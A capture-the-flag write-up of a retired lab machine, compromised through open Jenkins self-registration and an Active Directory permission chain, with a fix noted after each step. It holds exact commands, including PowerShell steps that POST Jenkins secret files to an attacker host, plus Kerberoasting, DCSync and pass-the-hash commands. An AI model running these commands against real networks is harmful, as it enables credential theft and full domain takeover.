Object
Summary
I discovered an internet-facing Jenkins automation controller on TCP 8080 whose self-registration was open to the public. A registered account was used to create a Freestyle build job configured with a remote-trigger API token, enabling code execution on the Windows host as domain user OLIVER with no further authentication.
A host-based firewall blocked all shell callbacks, so the build's Windows Batch step exfiltrated Jenkins' three encrypted credential files — master.key, hudson.util.Secret, and credentials.xml — by POSTing their Base64-encoded contents over HTTP to my listener. Offline decryption of those files, which use fully reversible AES-128-CBC, recovered OLIVER's Active Directory password.
BloodHound enumeration as Oliver then revealed a three-hop ACL privilege chain: Oliver held ForceChangePassword over Smith, Smith held GenericWrite over Maria, and Maria held WriteOwner over the Domain Admins group. I walked each hop in sequence — resetting Smith's password, writing a fake Service Principal Name onto Maria via Smith's GenericWrite right to make her Kerberoastable, cracking the resulting TGS ticket offline to recover Maria's plaintext password and read user.txt, then using Maria's WriteOwner right to claim ownership of Domain Admins, grant myself full control over the group object, and add myself as a member — achieving Domain Administrator and full Active Directory compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export TOKEN2="<the-token-you-captured>"Some commands also carry a value in angle brackets — <administrator_ntlm_hash>, <base64_cx_blob>, <base64_hus_blob>, <base64_mk_blob>, <crumb>, <maria_cracked_password>, <oliver_ad_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Version scan of the three interesting ports; confirms Jetty on 8080 as the Jenkins host.
$ nmap -sCV -p 80,5985,8080 $TARGETRegister the virtual hostname needed for subsequent HTTP requests.
$ echo "$TARGET object.htb" | sudo tee -a /etc/hostsConfirm the Jenkins self-registration page is reachable without credentials.
$ curl -s http://object.htb:8080/signupFixDisable Jenkins self-registration and enforce authenticated, least-privilege accessCritical
Exact commands 4
Fetch the CSRF crumb required for authenticated API requests; replace <crumb> in subsequent calls.
$ curl -s http://object.htb:8080/crumbIssuer/api/json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumb'])"Create the Freestyle project; then configure the build trigger token and Batch step via the job's config page or a config.xml PUT.
$ curl -s -c cookies.txt -b cookies.txt -X POST 'http://object.htb:8080/createItem?name=pwn-rce&mode=hudson.model.FreeStyleProject' -H 'Jenkins-Crumb: <crumb>' -H 'Content-Type: application/x-www-form-urlencoded'Trigger the job remotely using username:apitoken authentication plus the configured build token.
$ curl -sS -u "pwn166:$TOKEN" "http://object.htb:8080/job/pwn-rce/build?token=$TOKEN2"Retrieve the build console output to confirm execution and verify exfiltration results.
$ curl -sS -u "pwn166:$TOKEN" http://object.htb:8080/job/pwn-rce/lastBuild/consoleTextExact commands 4
Start an HTTP listener on my machine before triggering the build; receives the POSTed file data.
$ python3 -m http.server 8888Paste as Windows Batch Command step in the Jenkins job; exfiltrates master.key as Base64.
$ powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/mk -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\secrets\master.key')))"Second batch step; exfiltrates hudson.util.Secret.
$ powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/hus -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret')))"Third batch step; exfiltrates credentials.xml which contains the AES-encrypted AD password blob.
$ powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/cx -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\credentials.xml')))"FixRestrict filesystem access to Jenkins secrets and migrate credentials to an external vaultHigh
Exact commands 2
Decode the three received Base64 strings back to their original binary/XML form.
$ echo '<base64_mk_blob>' | base64 -d > master.key && echo '<base64_hus_blob>' | base64 -d > hudson.util.Secret && echo '<base64_cx_blob>' | base64 -d > credentials.xmlRun the decryptor (https://github.com/hoto/jenkins-credentials-decryptor) to print all plaintext secrets from the store.
$ jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c credentials.xml -o textExact commands 1
Collect all domain data remotely; import the ZIP into BloodHound and run 'Shortest Paths to Domain Admins' from the oliver node.
$ bloodhound-python -u oliver -p '<oliver_ad_password>' -d object.local -ns $TARGET -c All --zipExact commands 2
Reset Smith's AD password without needing the old value; possible because Oliver holds the ForceChangePassword ACE.
$ bloodyAD -d object.local -u oliver -p '<oliver_ad_password>' --host $TARGET set password smith "$PASSWORD"Open a WinRM shell as Smith to confirm credential validity before proceeding.
$ evil-winrm -i $TARGET -u smith -p "$PASSWORD"FixRemove Oliver's ForceChangePassword delegation over Smith and audit all user-level ACEsHigh
Exact commands 5
Write a fake SPN onto Maria's account via Smith's GenericWrite right, making her Kerberoastable.
$ bloodyAD -d object.local -u smith -p "$PASSWORD" --host $TARGET set object maria servicePrincipalName 'fake/maria'Verify the SPN write succeeded before requesting a ticket.
$ bloodyAD -d object.local -u smith -p "$PASSWORD" --host $TARGET get object maria --attr servicePrincipalNameRequest a TGS for the fake SPN; the ticket is encrypted with Maria's NTLM hash.
$ GetUserSPNs.py object.local/smith:"$PASSWORD" -dc-ip $TARGET -request -outputfile maria.hashCrack the Kerberos 5 TGS-REP (RC4) ticket offline to recover Maria's plaintext password.
$ hashcat -m 13100 maria.hash /usr/share/wordlists/rockyou.txtOpen a WinRM session as Maria and read user.txt from C:\Users\maria\Desktop\user.txt — value: <user.txt>.
$ evil-winrm -i $TARGET -u maria -p '<maria_cracked_password>'FixRemove Smith's GenericWrite right on Maria and enforce strong passwords and AES Kerberos on all accountsHigh
Exact commands 5
Set Maria as the owner of the Domain Admins group object using her WriteOwner right.
$ bloodyAD -d object.local -u maria -p '<maria_cracked_password>' --host $TARGET set owner 'Domain Admins' mariaRun from an evil-winrm session as Maria with PowerView imported; grants Maria GenericAll on the group now that she owns it.
$ Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity maria -Rights All -VerboseAdd Maria to Domain Admins via RPC; alternatively use 'Add-DomainGroupMember' from PowerView.
$ net rpc group addmem "Domain Admins" maria -U 'object.local/maria%<maria_cracked_password>' -S $TARGETPerform a DCSync as Domain Admin to dump all domain credential hashes including Administrator's NTLM.
$ secretsdump.py object.local/maria:'<maria_cracked_password>'@$TARGETPass the Administrator NTLM hash to open a privileged WinRM session and read root.txt.
$ evil-winrm -i $TARGET -u Administrator -H '<administrator_ntlm_hash>'FixRemove Maria's WriteOwner right on Domain Admins and audit all privileged group ACLsCritical
Attack patterns used
The transferable techniques behind this compromise.
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 5985/tcp | winrm recon-sweep-discovered |
| 8080/tcp | http Jetty 9.4.43.v20210629 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.